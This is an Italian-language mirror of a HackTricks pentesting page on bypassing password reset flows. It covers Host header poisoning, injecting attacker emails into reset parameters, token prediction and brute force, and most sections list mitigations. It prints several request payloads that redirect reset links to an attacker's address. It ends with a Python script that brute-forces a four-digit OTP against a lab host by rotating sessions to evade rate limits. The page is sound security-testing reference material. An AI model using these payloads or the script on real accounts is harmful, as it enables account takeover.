mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
238 lines
11 KiB
Markdown
238 lines
11 KiB
Markdown
# Reset/Forgotten Password Bypass
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Password Reset Token Leak Via Referrer**
|
|
|
|
- L'intestazione HTTP referer può rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito web di terze parti dopo aver richiesto un reset della password.
|
|
- **Impatto**: Possibile assunzione del controllo dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
|
|
- **Sfruttamento**: Per verificare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare immediatamente la tua password**. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste utilizzando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
|
|
- **Riferimenti**:
|
|
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
|
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
|
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
|
|
|
## **Password Reset Poisoning**
|
|
|
|
- Gli attaccanti possono manipolare l'intestazione Host durante le richieste di reset della password per indirizzare il link di reset a un sito malevolo.
|
|
- **Impatto**: Porta a una possibile assunzione del controllo dell'account rivelando i token di reset agli attaccanti.
|
|
- **Passi di mitigazione**:
|
|
- Convalidare l'intestazione Host rispetto a un elenco di domini consentiti.
|
|
- Utilizzare metodi sicuri lato server per generare URL assoluti.
|
|
- **Patch**: Utilizzare `$_SERVER['SERVER_NAME']` per costruire URL di reset della password invece di `$_SERVER['HTTP_HOST']`.
|
|
- **Riferimenti**:
|
|
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
|
|
|
## **Password Reset By Manipulating Email Parameter**
|
|
|
|
Gli attaccanti possono manipolare la richiesta di reset della password aggiungendo parametri email aggiuntivi per deviare il link di reset.
|
|
|
|
- Aggiungi l'email dell'attaccante come secondo parametro usando &
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&email=attacker@email.com
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando %20
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com%20email=attacker@email.com
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando |
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com|email=attacker@email.com
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando cc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando bcc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando ,
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro nell'array json
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
```
|
|
- **Passi di Mitigazione**:
|
|
- Analizzare e convalidare correttamente i parametri email lato server.
|
|
- Utilizzare dichiarazioni preparate o query parametrizzate per prevenire attacchi di iniezione.
|
|
- **Riferimenti**:
|
|
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
|
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
|
|
|
## **Cambiamento di Email e Password di qualsiasi Utente tramite Parametri API**
|
|
|
|
- Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
|
|
```php
|
|
POST /api/changepass
|
|
[...]
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
```
|
|
- **Passi di Mitigazione**:
|
|
- Assicurati di una rigorosa validazione dei parametri e controlli di autenticazione.
|
|
- Implementa un logging e monitoraggio robusti per rilevare e rispondere ad attività sospette.
|
|
- **Riferimento**:
|
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
|
|
|
## **Nessun Limite di Frequenza: Email Bombing**
|
|
|
|
- La mancanza di limiti di frequenza sulle richieste di reset della password può portare a un bombardamento di email, sopraffacendo l'utente con email di reset.
|
|
- **Passi di Mitigazione**:
|
|
- Implementa limiti di frequenza basati su indirizzo IP o account utente.
|
|
- Usa sfide CAPTCHA per prevenire abusi automatizzati.
|
|
- **Riferimenti**:
|
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
|
|
|
## **Scoprire Come Viene Generato il Token di Reset della Password**
|
|
|
|
- Comprendere il modello o il metodo dietro la generazione del token può portare a prevedere o forzare i token. Alcune opzioni:
|
|
- Basato su Timestamp
|
|
- Basato su UserID
|
|
- Basato sull'email dell'Utente
|
|
- Basato su Nome e Cognome
|
|
- Basato sulla Data di Nascita
|
|
- Basato sulla Criptografia
|
|
- **Passi di Mitigazione**:
|
|
- Usa metodi forti e crittografici per la generazione dei token.
|
|
- Assicurati di una sufficiente casualità e lunghezza per prevenire la prevedibilità.
|
|
- **Strumenti**: Usa Burp Sequencer per analizzare la casualità dei token.
|
|
|
|
## **UUID Indovinabili**
|
|
|
|
- Se gli UUID (versione 1) sono indovinabili o prevedibili, gli attaccanti possono forzarli per generare token di reset validi. Controlla:
|
|
|
|
{{#ref}}
|
|
uuid-insecurities.md
|
|
{{#endref}}
|
|
|
|
- **Passi di Mitigazione**:
|
|
- Usa GUID versione 4 per la casualità o implementa misure di sicurezza aggiuntive per altre versioni.
|
|
- **Strumenti**: Usa [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
|
|
|
|
## **Manipolazione della Risposta: Sostituire una Risposta Negativa con una Positiva**
|
|
|
|
- Manipolare le risposte HTTP per bypassare messaggi di errore o restrizioni.
|
|
- **Passi di Mitigazione**:
|
|
- Implementa controlli lato server per garantire l'integrità della risposta.
|
|
- Usa canali di comunicazione sicuri come HTTPS per prevenire attacchi man-in-the-middle.
|
|
- **Riferimento**:
|
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
|
|
|
## **Utilizzo di Token Scaduti**
|
|
|
|
- Testare se i token scaduti possono ancora essere utilizzati per il reset della password.
|
|
- **Passi di Mitigazione**:
|
|
- Implementa politiche rigorose di scadenza dei token e valida la scadenza del token lato server.
|
|
|
|
## **Forzatura del Token di Reset della Password**
|
|
|
|
- Tentare di forzare il token di reset utilizzando strumenti come Burpsuite e IP-Rotator per bypassare i limiti di frequenza basati su IP.
|
|
- **Passi di Mitigazione**:
|
|
- Implementa meccanismi robusti di limitazione della frequenza e di blocco dell'account.
|
|
- Monitora attività sospette indicative di attacchi di forzatura.
|
|
|
|
## **Prova a Usare il Tuo Token**
|
|
|
|
- Testare se il token di reset di un attaccante può essere utilizzato in combinazione con l'email della vittima.
|
|
- **Passi di Mitigazione**:
|
|
- Assicurati che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
|
|
|
|
## **Invalidazione della Sessione al Logout/Reset della Password**
|
|
|
|
- Assicurati che le sessioni siano invalidate quando un utente esce o resetta la propria password.
|
|
- **Passi di Mitigazione**:
|
|
- Implementa una corretta gestione delle sessioni, assicurando che tutte le sessioni siano invalidate al logout o al reset della password.
|
|
|
|
## **Invalidazione della Sessione al Logout/Reset della Password**
|
|
|
|
- I token di reset dovrebbero avere un tempo di scadenza dopo il quale diventano non validi.
|
|
- **Passi di Mitigazione**:
|
|
- Imposta un tempo di scadenza ragionevole per i token di reset e applicalo rigorosamente lato server.
|
|
|
|
## **Bypass del Limite di Frequenza OTP cambiando la tua sessione**
|
|
|
|
- Se il sito web utilizza la sessione utente per tracciare i tentativi errati di OTP e l'OTP era debole (<= 4 cifre), allora possiamo effettivamente forzare l'OTP.
|
|
- **sfruttamento**:
|
|
- basta richiedere un nuovo token di sessione dopo essere stati bloccati dal server.
|
|
- **Esempio** di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione, l'OTP cambierà anche, e quindi non saremo in grado di forzarlo sequenzialmente!):
|
|
|
|
``` python
|
|
# Bypass di autenticazione tramite reset della password
|
|
# di coderMohammed
|
|
import requests
|
|
import random
|
|
from time import sleep
|
|
|
|
headers = {
|
|
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
|
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
|
}
|
|
url = "http://10.10.12.231:1337/reset_password.php"
|
|
logout = "http://10.10.12.231:1337/logout.php"
|
|
root = "http://10.10.12.231:1337/"
|
|
|
|
parms = dict()
|
|
ter = 0
|
|
phpsessid = ""
|
|
|
|
print("[+] Inizio attacco!")
|
|
sleep(3)
|
|
print("[+] Questo potrebbe richiedere circa 5 minuti per finire!")
|
|
|
|
try:
|
|
while True:
|
|
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # numero casuale da 0 - 9999 con 4 d
|
|
parms["s"] = 164 # non importante, influisce solo sul frontend
|
|
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
|
|
|
if ter == 8: # seguire il numero di tentativi
|
|
out = requests.get(logout,headers=headers) # ti disconnette
|
|
mainp = requests.get(root) # ottiene un altro phpssid (token)
|
|
|
|
cookies = out.cookies # estrae il sessionid
|
|
phpsessid = cookies.get('PHPSESSID')
|
|
headers["cookies"]=f"PHPSESSID={phpsessid}" # aggiorna gli headers con la nuova sessione
|
|
|
|
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # invia l'email per cambiare la password per
|
|
ter = 0 # resetta ter in modo da ottenere una nuova sessione dopo 8 tentativi
|
|
else:
|
|
ter += 1
|
|
if(len(res.text) == 2292): # questa è la lunghezza della pagina quando ottieni correttamente il codice di recupero (ottenuto testando)
|
|
print(len(res.text)) # per informazioni di debug
|
|
print(phpsessid)
|
|
|
|
reset_data = { # qui cambieremo la password in qualcosa di nuovo
|
|
"new_password": "D37djkamd!",
|
|
"confirm_password": "D37djkamd!"
|
|
}
|
|
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
|
|
|
print("[+] La password è stata cambiata in:D37djkamd!")
|
|
break
|
|
except Exception as e:
|
|
print("[+] Attacco fermato")
|
|
```
|
|
|
|
## Riferimenti
|
|
|
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|